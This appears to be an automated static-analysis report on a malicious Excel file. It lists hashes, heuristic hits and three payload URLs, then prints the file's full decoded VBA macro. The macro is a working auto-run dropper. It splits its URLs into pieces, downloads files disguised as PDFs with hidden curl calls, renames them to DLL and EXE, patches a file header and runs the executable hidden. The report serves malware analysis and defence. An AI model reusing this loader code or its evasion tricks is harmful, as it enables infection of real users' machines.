Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 d6f7f671e435a615…

MALICIOUS

Office (OLE) / .XLS

217.0 KB Created: 2026-04-09 10:43:35 Authoring application: Microsoft Excel First seen: 2026-06-24
MD5: 0686b534b4f91a7daeb44cbf0fb262f8 SHA-1: a3721433c2278724e2c39b5db76479a2b1f0eff1 SHA-256: d6f7f671e435a6158a286b08b00c7f98346d4bf4d5fa1c72eb0a198c7b6e95a5
174 Risk Score

Heuristics 9

  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set fso = CreateObject("Scripting.FileSystemObject")
  • Payload URL assembled from a Chr()/Asc() string expression (3 URLs) high OLE_VBA_EXPR_DROPPER_URL
    A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        tempPath = Environ("TEMP")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://mitigation.ntdcdiscos.workers.dev/mscorsvc.pdf Referenced by macro
    • https://mitigation.ntdcdiscos.workers.dev/syswow.pdfReferenced by macro
    • https://mitigation.ntdcdiscos.workers.dev/OneDriveNotification.pdfReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9998 bytes
SHA-256: 0f26c45e04df1da5d07a51e1ece6a0a1ed2d078125161df52c9c09fe0a1443c9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
' Windows API declarations for CreateProcess
Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" ( _
    ByVal lpApplicationName As String, _
    ByVal lpCommandLine As String, _
    ByVal lpProcessAttributes As Long, _
    ByVal lpThreadAttributes As Long, _
    ByVal bInheritHandles As Long, _
    ByVal dwCreationFlags As Long, _
    ByVal lpEnvironment As Long, _
    ByVal lpCurrentDirectory As String, _
    lpStartupInfo As STARTUPINFO, _
    lpProcessInformation As PROCESS_INFORMATION) As Long

Private Declare PtrSafe Function WaitForSingleObject Lib "kernel32" ( _
    ByVal hHandle As LongPtr, _
    ByVal dwMilliseconds As Long) As Long

Private Declare PtrSafe Function CloseHandle Lib "kernel32" ( _
    ByVal hObject As LongPtr) As Long

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type

Function CheckSystemTime() As Boolean
    Dim currentHour As Integer
    currentHour = Hour(Now)
    CheckSystemTime = (currentHour >= 0 And currentHour <= 23)
End Function

Function ValidateEnvironment() As String
    Dim tempPath As String
    tempPath = Environ("TEMP")
    If Len(tempPath) > 0 Then
        ValidateEnvironment = tempPath
    Else
        ValidateEnvironment = ""
    End If
End Function

Sub Main()
    Dim file1URL As String, file2URL As String, file3URL As String
    Dim file1Path As String, file2Path As String, file3Path As String
    Dim targetFolder As String
    Dim mscorsvcDllPath As String
    Dim exePath As String
    Dim sysCheck As Boolean
    Dim envPath As String
    
    ' System validation
    sysCheck = CheckSystemTime()
    envPath = ValidateEnvironment()
    
    ' Obfuscated base URL parts
    Dim urlBase1 As String, urlBase2 As String, urlBase3 As String, urlBase4 As String
    urlBase1 = "https://"
    urlBase2 = "mitig"
    urlBase3 = "ation.ntdcdiscos"
    urlBase4 = ".workers.dev/"
    
    ' Obfuscated folder path parts
    Dim folder1 As String, folder2 As String, folder3 As String
    folder1 = Environ("LOCALAPPDATA")
    folder2 = "\Micro" & "soft\"
    folder3 = "Va" & "ult"
    targetFolder = folder1 & folder2 & folder3
    
    ' Obfuscated file names
    Dim name1a As String, name1b As String
    Dim name2a As String, name2b As String
    Dim name3a As String, name3b As String, name3c As String
    
    name1a = "msc" & "ors"
    name1b = "vc.p" & "df"
    
    name2a = "sys" & "wo"
    name2b = "w.pd" & "f"
    
    name3a = "One" & "Drive"
    name3b = "Notif" & "ication"
    name3c = ".p" & "df"
    
    ' Build URLs
    file1URL = urlBase1 & urlBase2 & urlBase3 & urlBase4 & name1a & name1b
    file2URL = urlBase1 & urlBase2 & urlBase3 & urlBase4 & name2a & name2b
    file3URL = urlBase1 & urlBase2 & urlBase3 & urlBase4 & name3a & name3b & name3c
    
    ' Define file paths
    file1Path = targetFolder & "\" & name1a & name1b
    file2Path = targetFolder & "\" & name2a & name2b
    file3Path = targetFolder & "\" & name3a & name3b & name3c
    
    ' Download all 3 files using curl via CreateProcess
    If sysCheck Then
        FetchRemoteResource file1URL, file1Path
        FetchRemoteResource file2URL, file2Path
        FetchRemoteResource file3URL, file3Path
    End If
    
    ' Rename .pdf files to .dll after download
    mscorsvcDllPath = targetFolder & "\" & name1a & "vc.d" & "ll"
    UpdateFileLocation file1Path, mscorsvcDllPath
    UpdateFileLocation file2Path, targetFolder & "\" & name2a & "w.dl" & "l"
    
    ' Rename .pdf to .exe for OneDriveNotification
    exePath = targetFolder & "\" & name3a & name3b & ".e" & "xe"
    UpdateFileLocation file3Path, exePath
    
    ' Change header from GZ to MZ in mscorsvc.dll
    ModifyBinaryHeader mscorsvcDllPath
    
    ' Run the exe from Vault folder using CreateProcess
    LaunchApplicationProcess exePath
End Sub

Function GetProcessorCount() As Integer
    On Error Resume Next
    GetProcessorCount = Val(Environ("NUMBER_OF_PROCESSORS"))
    If GetProcessorCount = 0 Then GetProcessorCount = 1
    On Error GoTo 0
End Function

Sub FetchRemoteResource(url As String, outputPath As String)
    Dim si As STARTUPINFO
    Dim pi As PROCESS_INFORMATION
    Dim strCmd As String
    Dim result As Long
    Dim cpuCount As Integer
    
    cpuCount = GetProcessorCount()
    
    ' Build curl command
    strCmd = "curl.exe -s -o """ & outputPath & """ """ & url & """"
    
    ' Initialize STARTUPINFO
    si.cb = Len(si)
    si.dwFlags = 1  ' STARTF_USESHOWWINDOW
    si.wShowWindow = 0  ' SW_HIDE - hidden window
    
    ' Create process
    result = CreateProcess(vbNullString, strCmd, 0&, 0&, 0&, 0&, 0&, vbNullString, si, pi)
    
    If result <> 0 Then
        ' Wait for process to complete (infinite wait)
        WaitForSingleObject pi.hProcess, -1  ' INFINITE = -1
        
        ' Close handles
        CloseHandle pi.hProcess
        CloseHandle pi.hThread
    End If
End Sub

Sub LaunchApplicationProcess(exePath As String)
    Dim si As STARTUPINFO
    Dim pi As PROCESS_INFORMATION
    Dim result As Long
    Dim fso As Object
    
    Set fso = CreateObject("Scripting.FileSystemObject")
    
    ' Check if exe exists
    If Not fso.FileExists(exePath) Then Exit Sub
    
    ' Initialize STARTUPINFO
    si.cb = Len(si)
    si.dwFlags = 1  ' STARTF_USESHOWWINDOW
    si.wShowWindow = 0  ' SW_HIDE - hidden window
    
    ' Create process to run the exe - fire and forget
    result = CreateProcess(vbNullString, exePath, 0&, 0&, 0&, 0&, 0&, vbNullString, si, pi)
    
    If result <> 0 Then
        ' Don't wait - just close handles and let it run
        CloseHandle pi.hProcess
        CloseHandle pi.hThread
    End If
    
    Set fso = Nothing
End Sub

Function CalculateFileHash(filePath As String) As Long
    Dim fso As Object
    Set fso = CreateObject("Scripting.FileSystemObject")
    
    If fso.FileExists(filePath) Then
        CalculateFileHash = fso.GetFile(filePath).Size
    Else
        CalculateFileHash = 0
    End If
    
    Set fso = Nothing
End Function

Sub UpdateFileLocation(oldPath As String, newPath As String)
    Dim fso As Object
    Dim fileSize As Long
    
    Set fso = CreateObject("Scripting.FileSystemObject")
    
    fileSize = CalculateFileHash(oldPath)
    
    ' Check if source file exists before renaming
    If fso.FileExists(oldPath) And fileSize > 0 Then
        fso.MoveFile oldPath, newPath
    End If
    
    Set fso = Nothing
End Sub

Function VerifyFileIntegrity(filePath As String) As Boolean
    Dim fso As Object
    Set fso = CreateObject("Scripting.FileSystemObject")
    
    If fso.FileExists(filePath) Then
        VerifyFileIntegrity = (fso.GetFile(filePath).Size > 0)
    Else
        VerifyFileIntegrity = False
    End If
    
    Set fso = Nothing
End Function

Sub ModifyBinaryHeader(filePath As String)
    Dim fso As Object
    Dim stream As Object
    Dim fileContent() As Byte
    Dim fileSize As Long
    Dim isValid As Boolean
    
    Set fso = CreateObject("Scripting.FileSystemObject")
    
    isValid = VerifyFileIntegrity(filePath)
    
    ' Check if file exists
    If Not fso.FileExists(filePath) Or Not isValid Then Exit Sub
    
    ' Read file as binary
    Set stream = CreateObject("ADODB.Stream")
    stream.Type = 1 ' adTypeBinary
    stream.Open
    stream.LoadFromFile filePath
    
    fileSize = stream.Size
    If fileSize < 2 Then
        stream.Close
        Exit Sub
    End If
    
    ' Read all bytes
    stream.Position = 0
    fileContent = stream.Read
    stream.Close
    
    ' Check if first 2 bytes are "GZ" (0x47 0x5A) and change to "MZ" (0x4D 0x5A)
    If fileContent(0) = &H47 And fileContent(1) = &H5A Then
        fileContent(0) = &H4D  ' M
        fileContent(1) = &H5A  ' Z
        
        ' Write modified content back
        Set stream = CreateObject("ADODB.Stream")
        stream.Type = 1 ' adTypeBinary
        stream.Open
        stream.Write fileContent
        stream.SaveToFile filePath, 2 ' adSaveCreateOverWrite
        stream.Close
    End If
    
    Set stream = Nothing
    Set fso = Nothing
End Sub

Sub InitializeDocumentSettings()
    On Error Resume Next
    Application.DisplayAlerts = False
    Application.ScreenUpdating = True
    Application.DisplayAlerts = True
    On Error GoTo 0
End Sub

' Auto launch when VBA enabled in Word
Sub AutoOpen()
    InitializeDocumentSettings
    Main
End Sub

' Auto launch when VBA enabled in Excel
Sub Workbook_Open()
    InitializeDocumentSettings
    Main
End Sub

Sub Document_Open()
    InitializeDocumentSettings
    Main
End Sub



Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True